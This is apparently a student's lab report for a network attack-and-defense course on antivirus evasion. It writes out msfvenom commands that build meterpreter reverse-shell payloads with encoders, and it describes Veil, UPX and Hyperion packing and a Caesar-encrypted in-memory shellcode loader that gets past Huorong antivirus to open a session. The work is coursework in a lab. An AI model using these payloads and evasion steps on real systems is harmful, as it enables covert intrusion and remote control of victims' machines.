20232422 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

本周实验关于免杀原理与实践,要掌握多种恶意代码免杀技术并验证效果。实操msfvenom生成多格式恶意文件并使用编码器优化,借助 Veil 工具生成免杀载荷,用 C 语言嵌入 Shellcode 编程并结合加壳工具增强隐蔽性;在此基础上,通过凯撒加密与解密执行的组合技术实现进阶免杀;最后在物理主机上实测,在杀软开启状态下完成回连,验证免杀方案的实用性。整个过程不仅熟悉了免杀的核心方法,也理解了杀软检测与免杀对抗的底层逻辑。

2.实验过程

2.1 基础问题回答

(1)首先最常见的是特征码检测,扫描时比对文件代码和库中的特征,对上了就判定为恶意;然后是启发式检测,靠预设的规则判断,比如某个程序频繁修改系统注册表、偷偷连外网,哪怕没有匹配的特征码,也会被标记为可疑;行为检测则更直接,在安全环境里模拟程序运行,看它会不会做偷数据、自我复制这种恶意操作;现在还有机器学习检测,靠算法分析大量样本,提炼出恶意程序的共性特征来判断;云安全检测也很常用,把文件信息传到云端,利用庞大的特征库和算力快速分析,再把结果反馈给用户端。

(2)免杀是让恶意代码躲避杀软,在目标系统里悄悄运行。一方面要避开杀软的检测,不让代码被识别为恶意;另一方面还要延长它的存活时间,不至于刚运行就被清理,这样才能完成窃取信息、控制设备这些恶意目的。

(3)免杀的基本方法挺多样的:代码混淆是把代码弄得乱七八糟,比如加些没用的花指令、打乱指令顺序,让杀软看不懂;加壳用壳程序把恶意代码加密包裹,运行时先解密再执行,杀软直接扫不到原代码;内存加载更隐蔽,代码不存到磁盘上,直接在内存里运行,避开磁盘扫描;还有修改特征码,针对杀软的特征库,改一改恶意代码里的关键片段,自然就检测不到了。

2.2 实验过程

2.2.1使用msf编码器

先创建了专属共享目录 /mnt/share/20232422,后面所有生成的文件都统一存在这。确认Kali的IP是192.168.226.131。(后面安装veil出问题重新配置了虚拟机网络设置就变为192.168.10.128)

接下来用msfvenom生成不同的文件,生成了基础exe、1次编码和10次编码的exe,还有jar和elf格式的文件,20232422lhr,生成后都移到了共享目录,然后传到VirusTotal检测。
  生成基础exe、1次编码exe(避免\x00)、10次编码exe(增强隐蔽性)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.226.131 LPORT=2422 -f exe > 20232422lhr.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.226.131 LPORT=2422 -f exe > 20232422lhr-2.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.226.131 LPORT=2422 -f exe > 20232422lhr-3.exe

9a394f2d8b8762c1236be2862aecb154

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.226.131 LPORT=2422 -f jar > 20232422lhr-4.jar
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.226.131 LPORT=2422 -f jar > 20232422lhr-5.jar

1717d4037d9d101855a7438a6876d7a5

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.226.131 LPORT=2422 -f elf > 20232422lhr-6.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.226.131 LPORT=2422 -f elf > 20232422lhr-7.elf

30f9d5cca26345fe8b2c47788143d2b3

-p windows/meterpreter/reverse_tcp:指定要生成的有效载荷(payload)类型为 Windows 平台下的反向 TCP 连接的 Meterpreter。Meterpreter 是 Metasploit 框架中一种功能强大的有效载荷,它允许攻击者在目标系统上执行各种操作,如文件上传下载、执行命令、获取系统信息等。
LHOST=192.168.9.131:指定攻击者的 IP 地址,也就是当目标系统执行生成的可执行文件后,会尝试连接回这个 IP 地址。在这里是虚拟机的IP地址。
LPORT=2422:指定攻击者监听的端口号,目标系统将尝试连接到这个端口与攻击者建立通信。
-f exe:指定输出文件的格式为可执行文件(.exe)。

msfvenom -l 或msfvenom –list查看可指定给对应选项的值。
e91bfb6a48dad63bc09153781ffd09b0
1e1ee4b1be01ecaf71cdab52329c2412

将生成文件通过共享文件夹传到主机中检测。'mv 20232422lhr.exe 20232422lhr.jar 20232422lhr*.elf /mnt/share/20232422/'
de7233d5e9050adcd3abce198d09acc5
 主机打开VirusTotal的链接https://www.virustotal.com/。放入这些文件,进行检测。检测结果如下图所示:
556742a00ac7f0041fb54699ae9690de

exe基础未编码 20232422lhr.exe:48/72 杀软检测为恶意。说明 Windows 平台的杀软对这类基础 Meterpreter 载荷的特征库覆盖极全,容易识别。
a308aca211bfbd9d3a22dddd6f66316d

exe单次编码20232422lhr-2.exe:43/72 杀软检测。)能小幅降低检测率,简单的特征码混淆有一定效果。
fd5d1f278dfdb6997f77d5a33eaedac7

exe10次编码20232422lhr-3.exe:42/71 杀软检测。多次编码进一步混淆特征,但检测率下降只一点,说明现代杀软对多次编码的规避已有应对策略。
c93a48bd44998d3333b1394a6743d8c6

jar基础未编码20232422lhr-4.jar:35/66 杀软检测。
fa987d31e4f111e59a1ba6b0ebb62cd0

jar10次编码20232422lhr-5.jar:35/64 杀软检测。
JAR 格式的检测率本身低于 EXE,编码对其免杀提升很小。
fa987d31e4f111e59a1ba6b0ebb62cd0

elf基础未编码20232422lhr-6.elf:36/64 杀软检测。
b4caf1e955952c69c8dbb635f5019718

elf10次编码20232422lhr-7.elf:15/65 杀软检测。
编码后的 ELF 检测率大幅降低,免杀效果很好。这是因为 Linux 杀软对这类恶意文件的特征库更新、覆盖度远不如 Windows ,多次编码极大程度混淆特征,规避检测。

2.2.2veil使用


然后是Veil工具的使用,之前装Veil时踩了贼多坑,重装重新配置dns配置网络配置源搞n多次。终于。启动Veil后,用use evasion进入免杀模块,选了 c/meterpreter/rev_tcp.py 这个载荷,设置LHOST为192.168.1.128,LPORT2422,输入generate生成文件,命名为20232422lhr_veil.exe,生成路径在/var/lib/veil/output/compiled/。把文件复制到共享目录后,也拿去检测了,免杀效果比单纯用msf编码要好。
c33606464579c9956eda1987cc7f3710

'use evasion'
269b2710bd1b26001451de73656440d3
 ' c/meterpreter/rev_tcp.py '
![e1edadf89d3e57e83d3afd314bdcf746]
 和设置lhost lport
e1edadf89d3e57e83d3afd314bdcf746

'generate'
c12c44e90431f61de66c942cee83100d
 共享文件夹传输到主机。
db30ccd3fc09f8d47f2617ae8bf344e1
 检查到有
c732e5b4b6374d99797e2830b9448e9b
 检测结果
c8f57009eb7a6e1c9f4bb5e4fa5e6a4c

2.2.3C+Shellcode编程

 先用命令生成C格式Shellcode:
'msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=2422 -f c'
977e5714359fe1c991b3b409ceeeec19

 然后新建20232422lhr.c文件,把生成的buf数组粘贴进去,写了简单的执行代码.
6b259dd423d2f87bc878544d36e09570
 用i686-w64-mingw32-g++编译成exe。
8910c8d32a7860c20651d4ff154b1315

 之后用UPX加壳,生成upx20232422lhr.exe。
3d9ad0e0189e665f9a983e0ff7dd7bf7

 又复制到Hyperion目录用wine运行加壳,得到upx20232422lhrhy.exe。
741ba2a431cc260b8f97a8f889bf61cf
e6629829adf63111cf431ec8e331dfae

 这两个加壳文件也传到了共享目录检测,加壳后检测率明显下降。
7c4134e9f9621199ea8bd3e495c4d480
7888cbdbfe435fa1886bc357495bfa22

2.2.4组合技术免杀

 用了凯撒加密+解密执行的思路。先生成64位Shellcode,IP还是192.168.1.128,端口10086,格式设为C。
0bac7484e23aeb7c402c8ca19396a1df
5b14ba91daf569b69c645a0c35121c6a

 然后在vscode里写加密代码20232422lhr_jiami.cpp,把Shellcode放进去,用密钥3加密后保存到232422lhrjiami.txt。
b63b60316e3c5bcc980bb14c5512ba61
4500334ba61d32aa298876e34e9f331c

 开始被主机联想电脑管家杀软检测到。然后将其信任并关闭联想电脑管家。
5b14ba91daf569b69c645a0c35121c6a
image
联想电脑管家版本
 再写解密代码20232422lhr_jiemi.cpp,功能是读取txt里的密文,解密后在内存中执行Shellcode。
a15788d424b4aaeb2fb23fb1008a5c7a

dedcf9a23f10e663ede0c6c8e77558c8
 编译这两个程序后,都复制到共享目录。
1bf2ecce4d7e661bc7682f156efac7e6

 想通过加密使Shellcode没有恶意特征,杀软识别不出来,再在运行时解密后直接加载到内存,避开了磁盘扫描。但被联想电脑管家检测到。

2.2.5主机回连测试

 使用杀毒软件火绒6.0.7.14
929c2cbb6bc8a69aebfe6f4428f5d41d
 火绒检测到了2.2.1中的exe等
cd4aa58a6ee207c0d6791079c14e0856

 先在Kali里启动msfconsole,用exploit/multi/handler模块,设置payload为windows/x64/meterpreter/reverse_tcp,LHOST192.168.1.128,LPORT10086,运行监听。
afd4a9fffb20ec26333755b3f31f25d3
4540df72680cdadc61904e4aeaafa481

 然后在主机上把共享目录里的20232422lhr_jiemi.exe和232422lhrjiami.txt复制到桌面,确认火绒6.0.7.14已经开启。双击运行解密程序,没被杀软拦截,Kali这边很快就显示Meterpreter session 1 opened,执行sysinfo能看到主机的系统信息,证明回连成功。

3.问题及解决方案

问题1:在下载veil时错误频出,无法连接到kali.org。
解决方法:最后将虚拟机网络恢复默认设置后重新配置才成功下载。

4.学习感悟、思考等

这次实验让我对免杀技术有了实打实的认知,不再是只停留在理论层面。一开始觉得免杀挺神秘的,没想到核心就是和杀软的检测逻辑“对着干”——杀软靠特征码,就加密混淆改变特征;杀软扫磁盘文件,就内存加载避开扫描。
实验中踩的坑不少,印象最深的是网段不通的问题,一开始没注意Kali和主机IP不在一个网段,折腾了好久才发现是这个原因,这也让我明白网络连通性是回连成功的基础。还有WINE环境的图形界面问题,纯命令行根本搞不定,必须切换到图形桌面,这些实操细节比看书本更有收获。组合免杀的思路很有意思,单靠一种技术可能容易被检测,但把加密和内存执行结合起来,就能大大提高免杀成功率。不过这也让我意识到,恶意代码的免杀技术一直在升级,杀软和恶意代码的对抗是个持续的过程。通过这次实验,我也更清楚安全防护的重要性。杀软不是万能的,尤其是面对定制化的免杀恶意代码时,防护效果会打折扣。所以平时上网要养成好习惯,不随便下载未知文件,及时更新系统和杀软,多一层防护就多一分安全。

参考资料

posted @ 2025-10-27 19:29  20232422龙浩然  阅读(2)  评论(0)    收藏  举报